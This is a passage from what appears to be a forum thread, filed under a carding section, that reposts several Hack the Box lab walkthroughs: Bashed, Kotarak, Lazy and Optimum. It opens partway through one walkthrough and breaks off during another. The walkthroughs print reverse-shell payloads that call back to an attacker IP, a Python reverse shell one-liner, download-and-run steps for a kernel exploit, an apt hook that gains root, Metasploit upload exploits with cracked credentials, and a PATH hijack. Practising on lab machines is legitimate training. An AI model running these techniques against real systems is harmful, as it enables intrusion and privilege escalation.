We were not much sure how to change permission through apt-update command, therefore, we search in Google and luckily found a [To see content please register here] that helps us in generating apt update command for changing authorized key permission.
echo 'APT::Update: re-Invoke {"chmod 600 /root/.ssh/authorized_keys"};' > rootshell
tftp 192.168.0.1
put rootshell /etc/apt/apt.conf.d/rootshell
quit
ssh [email protected]
1
2
3
4
5
echo 'APT::Update: re-Invoke {"chmod 600 /root/.ssh/authorized_keys"};' > rootshell
tftp 192.168.0.1
put rootshell /etc/apt/apt.conf.d/rootshell
quit
ssh [email protected]
Wait for 5 mins and then you will get root access. After that grab the root.txt flag and Hit the GOAL!!!
![[Image: 34.png?w=687&ssl=1]](https://i0.wp.com/1.bp.blogspot.com/-qbv44xPid3M/WuiKTM4vxOI/AAAAAAAAWo8/LGPpay_K4g8KWgY25C26xJWToz6zlf2rwCLcBGAs/s1600/34.png?w=687&ssl=1)
Hello Friends!! Today we are going to solve a CTF Challenge “Bashed”. It is a lab that is developed by Hack the Box. They have an amazing collection of Online Labs, on which you can practice your penetration testing skills. They have labs which are designed for beginners to the expert penetration testers. Bashed is a Retired Lab.
Level: Medium
Task: Find the user.txt and root.txt in the vulnerable Lab.
Let’s Begin!
As these labs are only available online, therefore, they have a static IP. Bashed Lab has IP: 10.10.10.68.
Now, as always let’s begin our hacking with the port enumeration.
nmap -A 10.10.10.68
1
nmap -A 10.10.10.68
![[Image: 1.png?w=687&ssl=1]](https://i1.wp.com/4.bp.blogspot.com/-Y1K8jfHZTMg/WudTCbI6DYI/AAAAAAAAWl4/k2BXoUx09mIhPfmINoudKjUFqwNuzqEKgCLcBGAs/s1600/1.png?w=687&ssl=1)
Knowing port 80 is open on the victim’s network we preferred to explore his IP in the browser and the following image opened as shown below.
![[Image: 2.png?w=687&ssl=1]](https://i1.wp.com/2.bp.blogspot.com/-Yed0oh7eMqw/WudTFslzIsI/AAAAAAAAWmo/XpIpjZz4YesXF6qakwXuhDmeRtxSnn-UQCLcBGAs/s1600/2.png?w=687&ssl=1)
Next, we use the dirb tool of kali to enumerate the directories and found some important directories such as /dev
![[Image: 3.png?w=687&ssl=1]](https://i1.wp.com/2.bp.blogspot.com/-fGffqqLXSZM/WudTFJH54iI/AAAAAAAAWmk/qqixsG2gtTYM9xrcag4cBwFRtZyYC4KGgCLcBGAs/s1600/3.png?w=687&ssl=1)
So when you will open /dev directory in the browser, you will get a link for phpbash.php. Click on that link.
![[Image: 4.png?w=687&ssl=1]](https://i1.wp.com/4.bp.blogspot.com/-SQEf-Kv3XYk/WudTFxKLTEI/AAAAAAAAWmw/jyefmAyTcoICd5xbSdM9FgQLHRyLGx-egCLcBGAs/s1600/4.png?w=687&ssl=1)
It will redirect to the following page as shown below, which seems like a shell interacting through the browser.
After that, you can execute any os arbitrary command for testing whether it’s working or not. We have run ls command to check the present list in the current directory.
![[Image: 5.png?w=687&ssl=1]](https://i1.wp.com/4.bp.blogspot.com/-xvQXy9_j96k/WudTF52G7FI/AAAAAAAAWms/A-LdM1775I8np7_EuSf3h5f1AJrFXosxACLcBGAs/s1600/5.png?w=687&ssl=1)
Inside /html directory we found uploads folder and hence now we can easily compromise the target’s system by uploading backdoor.
![[Image: 6.png?w=687&ssl=1]](https://i0.wp.com/4.bp.blogspot.com/-F9qLB8RhGbE/WudTGAI7lbI/AAAAAAAAWm0/e74uoJCySZUECcuLv8qQDpVC1ZgkZf37ACLcBGAs/s1600/6.png?w=687&ssl=1)
Using msfvenom we had created a malicious shell.php file by executing following command.
msfvenom -p php/meterpreter/reverse_tcp lhost=10.10.14.28 lport=4444 -f raw
1
msfvenom -p php/meterpreter/reverse_tcp lhost=10.10.14.28 lport=4444 -f raw
Simultaneously run multi/handler for reverse connection of the victim’s system.
![[Image: 7.png?w=687&ssl=1]](https://i2.wp.com/3.bp.blogspot.com/-h2paU69-4HU/WudTGp2tR8I/AAAAAAAAWm8/zH7gSKPhRQ0RCsH_d3u_dQJcEkwVy1LHACLcBGAs/s1600/7.png?w=687&ssl=1)
We had used Python HTTP server for transferring file, you can also use an alternative method for transferring and download the malicious file from wget inside uploads directory.
![[Image: 9.png?w=687&ssl=1]](https://i1.wp.com/4.bp.blogspot.com/-Oxrjvh3O9ok/WudTGbBi0uI/AAAAAAAAWm4/onpZrzep4_Av73dmml40BLlRjfw5ubn-wCLcBGAs/s1600/9.png?w=687&ssl=1)
Now execute the malicious file shell.php from the browser as shown below and move to Metasploit framework for reverse connection.
![[Image: 10.png?w=687&ssl=1]](https://i2.wp.com/4.bp.blogspot.com/-EYvwcE36G0A/WudTCp1SguI/AAAAAAAAWl8/xZmiDoZZy6EE3jR9wcxrGF3yA8xuR0aagCLcBGAs/s1600/10.png?w=687&ssl=1)
After executing uploaded backdoor file come back to the Metasploit framework and wait for the meterpreter session.
msf use exploit/multi/handler
msf exploit(multi/handler) set payload php/meterpreter/reverse_tcp
msf exploit(multi/handler) set lhost 10.10.14.28
msf exploit(multi/handler) set lport 4444
msf exploit(multi/handler) exploit
1
2
3
4
5
msf use exploit/multi/handler
msf exploit(multi/handler) set payload php/meterpreter/reverse_tcp
msf exploit(multi/handler) set lhost 10.10.14.28
msf exploit(multi/handler) set lport 4444
msf exploit(multi/handler) exploit
From given below image you can observe meterpreter session1 opened for accessing victim tty shell.
Now let’s finish the task by grabbing user.txt and root.txt file. First I move into /home directory and check available files and directories inside it.
cd /home
ls
1
2
cd /home
ls
Here one directories arrexel, when I explore /home/arrexel I saw user.txt and use cat command for reading.
cd arrexel
ls
cat user.txt
1
2
3
cd arrexel
ls
cat user.txt
Great!! Here we had completed 1st task now move to 2nd task
![[Image: 11.png?w=687&ssl=1]](https://i0.wp.com/3.bp.blogspot.com/-alG01DLs4dA/WudTCmqDqVI/AAAAAAAAWmA/iWP2QNxzsLU4MIJbUvuv-SmMLepLdVTGQCLcBGAs/s1600/11.png?w=687&ssl=1)
For spawning proper tty shell of target’s system we need to import python file, therefore, I run following command inside the meterpreter shell
shell
python -c 'import pty;pty.spawn("/bin/bash")'
lsb_release -a
1
2
3
shell
python -c 'import pty;pty.spawn("/bin/bash")'
lsb_release -a
![[Image: 12.png?w=687&ssl=1]](https://i0.wp.com/3.bp.blogspot.com/-QpT-yMHiKQc/WudTDfwMVqI/AAAAAAAAWmM/zSmIkqCpiyAAu8LYwThExhubuLSSjDmIgCLcBGAs/s1600/12.png?w=687&ssl=1)
Run ls -al command to observe all directories with their permissions. Here you will notice the user scriptmanager has permission for accessing /scripts directory.
![[Image: 13.0.png?w=687&ssl=1]](https://i1.wp.com/1.bp.blogspot.com/-EHfX4SFl1Ek/WudTDNY44hI/AAAAAAAAWmE/WgxZBRX6KSYNNoB99PX8PntCLCfUqZXRQCLcBGAs/s1600/13.0.png?w=687&ssl=1)
When we tried to open /scripts directory as the default user, it showed Permission Denied message. Then run sudo -l command which will tell us that the scriptmanager has No password for all the things.
Then we run the following command for penetrating scripts folder with help of scriptmanager
sudo -u scriptmanager ls /scripts
sudo -u scriptmanager cat /scripts/test.py
sudo -u scriptmanager cat /scripts/test.txt
1
2
3
sudo -u scriptmanager ls /scripts
sudo -u scriptmanager cat /scripts/test.py
sudo -u scriptmanager cat /scripts/test.txt
Since we found a python file, therefore, our strategy will be to replace the original test.py file from malicious python file to have a reverse connection over netcat and for that, you need to save following code in a text file.
import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.28",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);
1
import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.28",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);
Save this file with .py extension and transfer it into the victim’s system and start netcat on listening port.
Note: Replace 10.10.14.28 from inside the code into your VPN IP.
![[Image: 13.1.png?w=687&ssl=1]](https://i1.wp.com/2.bp.blogspot.com/-XX-t_7pPb-E/WudTDEJaDnI/AAAAAAAAWmI/efAK1DG_IrgQVwYtklz0Tb4d1KpI0xv2wCLcBGAs/s1600/13.1.png?w=687&ssl=1)
Now download malicious python file inside /tmp
wget [To see content please register here]
1
wget [To see content please register here]
And then copy the root.py from inside /tmp into test.py in /script with the help of the following command.
sudo -u scriptmanager cp /tmp/root.py /scripts/test.py
1
sudo -u scriptmanager cp /tmp/root.py /scripts/test.py
![[Image: 13.2.png?w=687&ssl=1]](https://i1.wp.com/2.bp.blogspot.com/-SkAb9C-fVaU/WudTD7cbi4I/AAAAAAAAWmQ/fBScC_h-UeYaM_oIUmeZbC8i4fUKOBgdACLcBGAs/s1600/13.2.png?w=687&ssl=1)
After some time you will get reverse to connect at netcat terminal with root access. Now finish the task by capturing the root.txt file as shown below.
nc -lvp 1234
id
cd /root<span style="vertical-align: inherit;"><span style="vertical-align: inherit;">
ls</span></span>
cat root.txt
1
2
3
4
5
nc -lvp 1234
id
cd /root<span style="vertical-align: inherit;"><span style="vertical-align: inherit;">
ls</span></span>
cat root.txt
![[Image: 13.3.png?w=687&ssl=1]](https://i0.wp.com/3.bp.blogspot.com/-5sg9CjPxRK0/WudTD9nNMhI/AAAAAAAAWmU/zgWTOo4ogH49fVDSigHa4S3joX-ye7LmACLcBGAs/s1600/13.3.png?w=687&ssl=1)
2nd Method for finding the root.txt flag.
We have found machine architecture 14.0 in the above method. So we start looking for a related kernel exploit in Google and luckily found an exploit from [To see content please register here] for root privilege escalation.
Copy and paste the whole text inside a text file and save as poc.c
![[Image: 13.png?w=687&ssl=1]](https://i0.wp.com/1.bp.blogspot.com/-2ZSdLzyWS0E/WudTESbfkpI/AAAAAAAAWmY/aJvAW2-K5lY_hTRBsQfufWnG1YuwhtIRACLcBGAs/s1600/13.png?w=687&ssl=1)
After that compile it with help of the following command:
gcc poc.c -o pwn
1
gcc poc.c -o pwn
Run python HTTP server for transferring it into targets system.
![[Image: 14.png?w=687&ssl=1]](https://i1.wp.com/1.bp.blogspot.com/-9r3e1-kDiJc/WudTEtg3QDI/AAAAAAAAWmc/xoV8s6Iw40oTkPuUbEEI7bNScKZZO0wNACLcBGAs/s1600/14.png?w=687&ssl=1)
At last, download complied file pwn into the target machine from wget inside /dev/shm as shown in the image then give full permission and run the file.
wget [To see content please register here]
chmod 777 pwn
./pwn
1
2
3
wget [To see content please register here]
chmod 777 pwn
./pwn
It will give you root access, now catch the root.txt flag as soon as possible because it will crash the kernel after some time.
cd /root
cat root.txt
1
2
cd /root
cat root.txt
Superb!! We had completed the task and hacked this box.
|
|
|
|
| [Guide] How to Hack the Box Challenge Kotarak Walkthrough |
|
Posted by: NINZA - 05-14-2020, 08:46 AM - Forum: Carders Home
- No Replies
|
 |
Hello friends!! Today we are going to solve another CTF challenge “Kotarak” which is available online for those who want to increase their skill in penetration testing and black box testing. Kotarak is retired vulnerable lab presented by Hack the Box for making online penetration practices according to your experience level; they have the collection of vulnerable labs as challenges from beginners to Expert level.
Level: Hard
Task: find user.txt and root.txt file on victim’s machine.
Since these labs are online available therefore they have static IP and IP of sense is 10.10.10.55 so let’s begin with nmap port enumeration.
nmap -p- -A 10.10.10.55 --open
1
nmap -p- -A 10.10.10.55 --open
From given below image, you can observe we found port 22, 8009, 8080, 60000 are open in victim’s network.
![[Image: 1.png?w=687&ssl=1]](https://i1.wp.com/2.bp.blogspot.com/-WQAXXbWcqgE/WtsNvShnJvI/AAAAAAAAWZo/lMYOyPPty40zqN9ijnA6zXopV-PW_q6NgCEwYBhgL/s1600/1.png?w=687&ssl=1)
As port 8080 and 60000 are running HTTP, we open the IP in our browser and access the page through port 8080. As soon as we open the ip in our browser we get a tomcat authentication prompt asking for username and password.
![[Image: 2.png?w=687&ssl=1]](https://i0.wp.com/2.bp.blogspot.com/-xY8Z7mWr6gE/WtsNytL4yHI/AAAAAAAAWag/MoBMuaTPRlAcbqAbC5oiH4S1-h2_O1pFgCEwYBhgL/s1600/2.png?w=687&ssl=1)
When we access the target machine through port 60000, we find a page that is hosted on the machine can be used to access the internet.
![[Image: 4.png?w=687&ssl=1]](https://i1.wp.com/3.bp.blogspot.com/-LV7mnlA62CI/WtsNzlib0KI/AAAAAAAAWaw/mJWCe4-qsJ02AM7JauYD9qZUTlTMwTg8gCEwYBhgL/s1600/4.png?w=687&ssl=1)
Now we need to use the dirb tool to enumerate the directories of the target machine.
dirb [To see content please register here]
1
dirb [To see content please register here]
From given below image you can observe the highlighted directory that is put up by dirb in its output result.
![[Image: 5.png?w=687&ssl=1]](https://i2.wp.com/4.bp.blogspot.com/-OT2YUDceQyQ/WtsNz_mzn0I/AAAAAAAAWa4/oHSAsPATaw40XMMSDX1WIcRj1dXbYYN2QCEwYBhgL/s1600/5.png?w=687&ssl=1)
We now try to check if the page is vulnerable to SSRF or not by trying to access a forbidden page on the target machine.
![[Image: 6.png?w=687&ssl=1]](https://i1.wp.com/3.bp.blogspot.com/-pUt_ujkcs_0/WtsN0Z2S5xI/AAAAAAAAWa0/rRopeN_o1RcMfbXQz39JdzChOsJtSMoLQCEwYBhgL/s1600/6.png?w=687&ssl=1)
when we open server-status through the vulnerable page, we are able to access the forbidden content. We then find that port 888 is listening locally on the target machine.
![[Image: 7.png?w=687&ssl=1]](https://i0.wp.com/4.bp.blogspot.com/-QoIiDFbNGFE/WtsN01ugU1I/AAAAAAAAWa8/404wno5VHPA53HCcnRqO2oWgqnrJ49KPwCEwYBhgL/s1600/7.png?w=687&ssl=1)
Then we opened http://localhost:888 through URL and it contains a few links to different files.
![[Image: 8.png?w=687&ssl=1]](https://i0.wp.com/4.bp.blogspot.com/-QE4QqitKbIQ/WtsN1GS4QvI/AAAAAAAAWbA/747iBIfMe8kXxzdZh1CZAcyzvYTNVbDSgCEwYBhgL/s1600/8.png?w=687&ssl=1)
We open backup and find that it was empty.
![[Image: 9.png?w=687&ssl=1]](https://i2.wp.com/1.bp.blogspot.com/-cwVuvzbtEhs/WtsN1CcKgVI/AAAAAAAAWbE/LLN4ZUqNcyQzX0-cZCqOxTsCRX54RDu6QCEwYBhgL/s1600/9.png?w=687&ssl=1)
To gain further information we used curl to access the page and find that it is an XML file that contains a username and password.
curl [To see content please register here]
1
curl [To see content please register here]
![[Image: 10.png?w=687&ssl=1]](https://i1.wp.com/4.bp.blogspot.com/-86SYpc3NVzw/WtsNvUFAiwI/AAAAAAAAWZs/XXons13Q4Y87vn6GD84ndV9VyPmDwKPIQCEwYBhgL/s1600/10.png?w=687&ssl=1)
We use the above credentials to login into tomcat manager application that is hosted on port 8080.
![[Image: 11.png?w=687&ssl=1]](https://i1.wp.com/1.bp.blogspot.com/-jpJwdOOgPVA/WtsNvbmy2vI/AAAAAAAAWZw/4CeMmHpO3xA9dcqcjpF4cfAz9_sJKYCiACEwYBhgL/s1600/11.png?w=687&ssl=1)
As we were able the right credentials for tomcat server, we found that it was vulnerable to this exploit [To see content please register here] . We used metasploit to exploit this vulnerability.
msf > use exploit/multi/http/tomcat_mgr_upload
msf exploit(multi/http/tomcat_mgr_upload) > set rhost 10.10.10.55
msf exploit(multi/http/tomcat_mgr_upload) > set rport 8080
msf exploit(multi/http/tomcat_mgr_upload) > set httpusername admin
msf exploit(multi/http/tomcat_mgr_upload) > set httppassword 3@g01PdhB!
msf exploit(multi/http/tomcat_mgr_upload) > exploit
1
2
3
4
5
6
msf > use exploit/multi/http/tomcat_mgr_upload
msf exploit(multi/http/tomcat_mgr_upload) > set rhost 10.10.10.55
msf exploit(multi/http/tomcat_mgr_upload) > set rport 8080
msf exploit(multi/http/tomcat_mgr_upload) > set httpusername admin
msf exploit(multi/http/tomcat_mgr_upload) > set httppassword 3@g01PdhB!
msf exploit(multi/http/tomcat_mgr_upload) > exploit
Finally, we got the meterpreter session as shown in the below image
![[Image: 12.png?w=687&ssl=1]](https://i1.wp.com/3.bp.blogspot.com/-sF7wk1qHnbM/WtsNv9Zn5vI/AAAAAAAAWZ0/XIfP7AE_BTYNdso2AzUGqxa6ZabprsutgCEwYBhgL/s1600/12.png?w=687&ssl=1)
After gaining the reverse shell we start enumerating the target system. In /home/tomcat/to_archive/pentest_data we find a few interesting files.
![[Image: 13.png?w=687&ssl=1]](https://i0.wp.com/4.bp.blogspot.com/-hSLTAjJdaUU/WtsNwFK6hMI/AAAAAAAAWZ4/1KzEJbm8DCcVoOezfVEXyW_vYI9kTENkgCEwYBhgL/s1600/13.png?w=687&ssl=1)
In /home/tomcat/to_archive/Pentest_data we find a directory information tree file and binary file.
We download both the files into our system
![[Image: 14.png?w=687&ssl=1]](https://i1.wp.com/4.bp.blogspot.com/-5PNKrkR26yY/WtsNwRgTf5I/AAAAAAAAWbI/pKNs2DlyQL8DGohmupeB6o6Txs4Vm0w6gCEwYBhgL/s1600/14.png?w=687&ssl=1)
We used impacket-secretsdump to dump hashes inside the files.
![[Image: 15.1.png?w=687&ssl=1]](https://i2.wp.com/2.bp.blogspot.com/-ApyV_lpe6xk/WtsNwisuZZI/AAAAAAAAWaA/ssdPbRvMDC4VBAw7QHmwSLWdbwnueJq_gCEwYBhgL/s1600/15.1.png?w=687&ssl=1)
We were able to crack one of the hashes and find it to be f16tomcat!
![[Image: 15.2.png?w=687&ssl=1]](https://i2.wp.com/3.bp.blogspot.com/-EQeT21OK8-w/WtsNwmbCxQI/AAAAAAAAWaE/omAdRf041cY-xXmLMsz249xL3iNF20oRQCEwYBhgL/s1600/15.2.png?w=687&ssl=1)
We use this to login as atanas, we then move into /root/ folder and find a file called flag.txt. When we open it we find that it was a dummy flag file.
![[Image: 15.png?w=687&ssl=1]](https://i1.wp.com/4.bp.blogspot.com/-lMX5lp7SvJY/WtsNw2NMPeI/AAAAAAAAWaI/4R_gVXXN1pEB3TMPspf9-Xt6e0t1Q3SagCEwYBhgL/s1600/15.png?w=687&ssl=1)
In the root directory, we also find a log file when we take a look at the content of the file we find that it contains log that we were created using wget. We also find that the wget version used is 1.16
![[Image: 16.png?w=687&ssl=1]](https://i0.wp.com/3.bp.blogspot.com/-M-u_1EISqCM/WtsNxESOtHI/AAAAAAAAWaM/Tdf23VZbD1UEtcqBNTXhePab1V-atb1_wCEwYBhgL/s1600/16.png?w=687&ssl=1)
Searching on the Exploit-DB site we find that this version of wget was vulnerable to remote code execution.
![[Image: 17.png?w=687&ssl=1]](https://i0.wp.com/4.bp.blogspot.com/-yYf30VYuuVI/WtsNxWozENI/AAAAAAAAWaU/Aq1LzNZa4-s7R7O8wPqTQ4BqFrEK7lR-QCEwYBhgL/s1600/17.png?w=687&ssl=1)
We follow the instructions given on exploit-db.com about how to exploit this vulnerability.
![[Image: 18.png?w=687&ssl=1]](https://i1.wp.com/2.bp.blogspot.com/-uV0muRFV5Uw/WtsNx55uRAI/AAAAAAAAWaQ/XHCfhGswfzcSFfyiaOaTm0q70_L2l7Q_gCEwYBhgL/s1600/18.png?w=687&ssl=1)
Then we had opened the wgetrc file through vim for changing the path of Post_file from /etc/shadow into /root/root.txt
![[Image: 19.png?w=687&ssl=1]](https://i0.wp.com/2.bp.blogspot.com/-2OwB0kCGx0w/WtsNyWa1lGI/AAAAAAAAWaY/oKz69KUgsqsCoivg-F6jtHNS15Duc17kQCEwYBhgL/s1600/19.png?w=687&ssl=1)
We download the code of this exploit from exploit-db.com and upload it to the target machine through meterpreter.
![[Image: 20.png?w=687&ssl=1]](https://i1.wp.com/3.bp.blogspot.com/-qIOGolnWLho/WtsNyqOS5bI/AAAAAAAAWac/oZZ6-xts2yscLOR75Km7xGy2J9Ufnie6ACEwYBhgL/s1600/20.png?w=687&ssl=1)
We then give read, write and execute permission to the file.
![[Image: 21.png?w=687&ssl=1]](https://i0.wp.com/1.bp.blogspot.com/-6NNYaEr72KY/WtsNzOAOyxI/AAAAAAAAWak/pdBXZN5FYn8ujCfaEqTnWyoV3ueHkiiIQCEwYBhgL/s1600/21.png?w=687&ssl=1)
We then use authbind to run the file, as authbind allows a program to that would normally require super user privileges to access privileged network services to run as a non-privileged user. As soon as we run the exploit we get the root flag.
![[Image: 25.png?w=687&ssl=1]](https://i2.wp.com/3.bp.blogspot.com/-F-2wJtBUea0/WtsNzRXYWtI/AAAAAAAAWao/7ClOFVbQH3oeGwfRn-mK8eUYtSib583ewCEwYBhgL/s1600/25.png?w=687&ssl=1)
Hello Friends!! Today we are going to solve a CTF Challenge “Lazy”. It is a lab that is developed by Hack the Box. They have an amazing collection of Online Labs, on which you can practice your penetration testing skills. They have labs which are designed for beginners to the Expert penetration testers. Lazy is a Retired Lab.
Level: Medium
Task: Find the user.txt and root.txt in the vulnerable Lab.
Let’s Begin!
As these labs are only available online, therefore, they have a static IP. Lazy Lab has IP: 10.10.10.18.
Now, as always let’s begin our hacking with the port enumeration.
nmap -A 10.10.10.18
1
nmap -A 10.10.10.18
As you can see in the given screenshot that we have two services running on our Target Machine, ssh and HTTP on ports 22 and 80 respectively.
![[Image: 1.png?w=687&ssl=1]](https://i2.wp.com/4.bp.blogspot.com/-N6AtWlHgQ8g/WtdpqsaASqI/AAAAAAAAWYE/YP4ai05ZOwsQH9D5EjhWjd9plYjCyhKswCLcBGAs/s1600/1.png?w=687&ssl=1)
The Port 80 is open so let’s open IP in our browser to see that if a website is hosted on the IP. After opening the IP in the browser, we were greeted by a simple page with Register and Login Links. Clicking on the Register opens up a form.
![[Image: 2.1.png?w=687&ssl=1]](https://i2.wp.com/2.bp.blogspot.com/-y6L2dc74MD8/WtdprdbUu3I/AAAAAAAAWYQ/uKakjMWVoug0gJcXRv-mtgSq1dAPElbewCLcBGAs/s1600/2.1.png?w=687&ssl=1)
Then I decided to register as admin: 123 for username and password respectively.
![[Image: 2.2.png?w=687&ssl=1]](https://i1.wp.com/2.bp.blogspot.com/-OWRni7AhS8I/WtdpruHjhFI/AAAAAAAAWYU/GHDlo4rrNKQC8HnLPZrYrcZpSm-TSRh3gCLcBGAs/s1600/2.2.png?w=687&ssl=1)
But I got an alert “Duplicate entry ‘admin’ for key PRIMARY”, also received error “can’t create the user: user exists” when I registered as admin. Hence username “admin” is already registered, now we though to crack the password for login but that was quite tough to crack.
![[Image: 2.3.png?w=687&ssl=1]](https://i2.wp.com/3.bp.blogspot.com/-6ySuuNag5pk/Wtdprh-bwRI/AAAAAAAAWYY/ok874wdn0cgHJf6dAdqEvv2akT5svpqFQCLcBGAs/s1600/2.3.png?w=687&ssl=1)
At last, I decided to use the burp suite for capturing browser request. Here I simply register with aadmin as username and password 123.
![[Image: 3.1.png?w=687&ssl=1]](https://i1.wp.com/3.bp.blogspot.com/-IVaitdalrxA/WtdpryEtZ2I/AAAAAAAAWYc/RzpBGPphyDQ8HaWXdQQvVGR5G24qbBvKgCLcBGAs/s1600/3.1.png?w=687&ssl=1)
And got intercepted request, here I saw auth cookie. Then I send the intercept request to the repeater for analyses its response. It gave a hint “invalid padding” which means there could be padding oracle vulnerability. To know more about what is padding oracle vulnerability read our previous article from [To see content please register here] . Since I had already faced such a situation in my past experience, therefore, I know what to do next.
![[Image: 3.2.png?w=687&ssl=1]](https://i2.wp.com/3.bp.blogspot.com/-G4Z0anYd8v8/WtdpsO94LJI/AAAAAAAAWYg/qABrOsJlf70KkPHzX_IzQMupx7K74ClhwCLcBGAs/s1600/3.2.png?w=687&ssl=1)
Next, open the terminal to run the command shown in the given image which contains target URL and above-copied auth cookie
![[Image: 3.3.png?w=687&ssl=1]](https://i1.wp.com/1.bp.blogspot.com/-lAGFA1Uwv-M/WtdpsbP0zAI/AAAAAAAAWYk/n3o-Gef4OKw9iaQi4IIpZG-msjY_yoTNwCLcBGAs/s1600/3.3.png?w=687&ssl=1)
Further type 2 where it asked ID recommended
Last part of screenshot has captured three decrypt values in base64, HEX, and ASCII. The cookie of auth is a combination of username with its password from padbuster we came to know what is the encrypted value of username for admin.
![[Image: 3.4.png?w=687&ssl=1]](https://i1.wp.com/1.bp.blogspot.com/-rpuGcxDvpdQ/WtdpsXJr5YI/AAAAAAAAWYo/BNf9Q7sbiGY4w1gvLD4wBmrAb3DhfSD4wCLcBGAs/s1600/3.4.png?w=687&ssl=1)
We are very near to our goal just encrypt this auth cookie with the user as admin once again. Here we have our plaintext as admin and let’s encode it using padbuster.
![[Image: 3.5.png?w=687&ssl=1]](https://i2.wp.com/2.bp.blogspot.com/-h2nDwU0jhD8/Wtdps5F1NOI/AAAAAAAAWYs/U_3fRHmH9AsigF4eETU4Fw-so-9YyO49wCLcBGAs/s1600/3.5.png?w=687&ssl=1)
Further type 2 where it asked ID recommended. Here the highlighted part is our encrypted value for admin. Copy It “BAit——–AAAA”.
![[Image: 3.6.png?w=687&ssl=1]](https://i1.wp.com/1.bp.blogspot.com/-VREuzM8lG9g/Wtdpsxbtp9I/AAAAAAAAWY0/VqoR7OJ1V-QeaMIlt7tDLb-5JmlNeR1PwCLcBGAs/s1600/3.6.png?w=687&ssl=1)
Now replace the original auth cookie from the encrypted value which you have copied above and forwarded the intercepted request.
![[Image: 3.7.png?w=687&ssl=1]](https://i0.wp.com/3.bp.blogspot.com/-HnwjOMrn67k/Wtdps-2WQfI/AAAAAAAAWYw/7w7M8WR2oUkYZ1t7PWJmttueUeAsVDUfgCLcBGAs/s1600/3.7.png?w=687&ssl=1)
When request sent by burp suite, automatically on the web server you will get logged in as an admin account. After that when you will access the admin page you will get a URL “my key” that offers us with a username mitsos and an ssh key.
![[Image: 4.png?w=687&ssl=1]](https://i0.wp.com/3.bp.blogspot.com/-z-im20YWEAg/WtdptWNWVxI/AAAAAAAAWY4/Yng_dH8QV5AKxdLeibN3KqxYbEvH6JQIgCLcBGAs/s1600/4.png?w=687&ssl=1)
So as you can observe that we had opened the ssh key let’s save it into a text file as “key” on the desktop and if you notice the URL can read ssh login username mitsos.
![[Image: 5.png?w=687&ssl=1]](https://i1.wp.com/2.bp.blogspot.com/-bUu3ovC-XMQ/Wtdpt-SUJII/AAAAAAAAWZA/qupjN3_kANoKHBQ-mKfQAt4Eh13yAnPQACLcBGAs/s1600/5.png?w=687&ssl=1)
First, let’s download the key and then give appropriate permission using the chmod. Now that we have the ssh username and key let’s get an ssh session.
ssh -i key [email protected]
1
ssh -i key [email protected]
After successfully accessing the PTY shell of a victim system, a simple ‘ls’ command will be shown to us that we have the user.txt. Congrats we got our user flag.
![[Image: 7.png?w=687&ssl=1]](https://i2.wp.com/3.bp.blogspot.com/-Y3DsWna-hrE/Wtdpt-0NbVI/AAAAAAAAWY8/_Q4jxm9UQfggJiEZq1qg4yJTAI7R6wThQCLcBGAs/s1600/7.png?w=687&ssl=1)
Now, let’s work on the root flag.
As we saw in the screenshot above that we the peda and backup folder too. We have tried working around it but nothing useful seems to come up. On running the executable backup we saw that it prints the shadow file with user hashes. So we ran the strings command and found that it does contain command “cat /etc/shadow”
![[Image: 8.png?w=687&ssl=1]](https://i1.wp.com/3.bp.blogspot.com/-P0vdhBwAbKA/WtdpuFGXmeI/AAAAAAAAWZE/5rMcfDYnRv8VUgGJMEZzC9KvT1L1cIEEQCLcBGAs/s1600/8.png?w=687&ssl=1)
Now, all we need to do was to create a personalized executable cat file, which can be done as shown in the below image. Here we are reprogramming cat to give us the shell, on execution.
cd /tmp
echo "/bin/sh" > cat
chmod 777 cat
export PATH=/tmp:$PATH
cd
ls
./backup
1
2
3
4
5
6
7
cd /tmp
echo "/bin/sh" > cat
chmod 777 cat
export PATH=/tmp:$PATH
cd
ls
./backup
When you will execute the backup to see if we have got the shell. Great! We have the root shell.
![[Image: 5.png?w=687&ssl=1]](https://i0.wp.com/2.bp.blogspot.com/-jM3mILYFGtM/WxFfSUK7O9I/AAAAAAAAXJM/67EwFd3kiosL3v-4-dKfaVM3pGdLfZQEgCLcBGAs/s1600/5.png?w=687&ssl=1)
Now all which is left is to get to the root directory and get the flag. But remember we have the $PATH changed; so to run the cat command we will have to specify the location.
/bin/cat root.txt
1
/bin/cat root.txt
Great!! We got our root flag successfully
And this way, we successfully solved our challenge. YAY!
![[Image: 12.png?w=687&ssl=1]](https://i0.wp.com/1.bp.blogspot.com/-KwZ7QJKgB78/WtdprEumypI/AAAAAAAAWYM/sTdECmTguAQNhGy1pe4biUb2QLTSKWclwCLcBGAs/s1600/12.png?w=687&ssl=1)
Today we are going to solve another CTF challenge called “Optimum” which is categorized as a retired lab developed by Hack the Box for the purpose of online penetration practices. Solving this lab is not that tough if have proper basic knowledge of Penetration testing. Let’s start and learn how to breach it.
Level: Intermediate
Task: find user.txt and root.txt file on the victim’s machine.
Since these labs are online, therefore they have static IP. The IP of optimum is 10.10.10.8 so let’s start with nmap port enumeration.
nmap -A 10.10.10.8
1
nmap -A 10.10.10.8
From the given below image, you can observe that we found ports 80 is open for file sharing using HFS 2.3 in the victim’s network.
![[Image: 1.png?w=687&ssl=1]](https://i2.wp.com/3.bp.blogspot.com/-OnP7tdgWNMU/WtS7BrXVJAI/AAAAAAAAWXE/I1md6p4vaA4tW7rnIfZTcVrt1v3LpvuFgCLcBGAs/s1600/1.png?w=687&ssl=1)
When I Googled relative exploit I found first link for Metasploit exploit.
![[Image: 2.1.png?w=687&ssl=1]](https://i0.wp.com/2.bp.blogspot.com/-GLTCmKTFFO0/WtS7BhmMeJI/AAAAAAAAWXA/3z63mLq7eMwFEHdYh5hA2TEwcvu52qsiQCLcBGAs/s1600/2.1.png?w=687&ssl=1)
Then run the msfconsole command in terminal and load Metasploit framework to use the said exploit and for that type the following commands :
use exploit/windows/http/rejetto_hfs_exec
msf exploit(windows/http/rejetto_hfs_exec) >set payload windows/x64/meterpreter/reverse_tcp
msf exploit(windows/http/rejetto_hfs_exec) >set rhost 10.10.10.8
msf exploit(windows/http/rejetto_hfs_exec) >set lhost 10.10.14.6
